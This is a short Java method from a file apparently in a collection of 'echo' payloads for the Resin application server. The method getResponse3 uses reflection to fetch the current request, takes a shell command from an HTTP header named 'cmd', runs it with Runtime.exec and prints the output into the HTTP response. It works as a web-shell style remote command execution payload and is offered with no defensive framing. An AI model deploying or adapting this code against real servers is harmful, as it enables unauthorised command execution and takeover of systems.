Method getResponse3

java回显/resin/Echo_HttpRequest.java:86–100

()

    //request对象存储在静态变量或者特定类里
    public static void getResponse3() throws Exception {
        Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
        java.lang.reflect.Method getContextRequest = si.getMethod("getContextRequest");
        com.caucho.server.http.HttpServletRequestImpl req = (com.caucho.server.http.HttpServletRequestImpl) getContextRequest.invoke(null);
        try {
            if (req.getHeader("cmd") != null) {
                String cmd = req.getHeader("cmd");
                javax.servlet.http.HttpServletResponse rep = (javax.servlet.http.HttpServletResponse) req.getServletResponse();
                java.io.PrintWriter out = rep.getWriter();
                out.println(new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next());
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}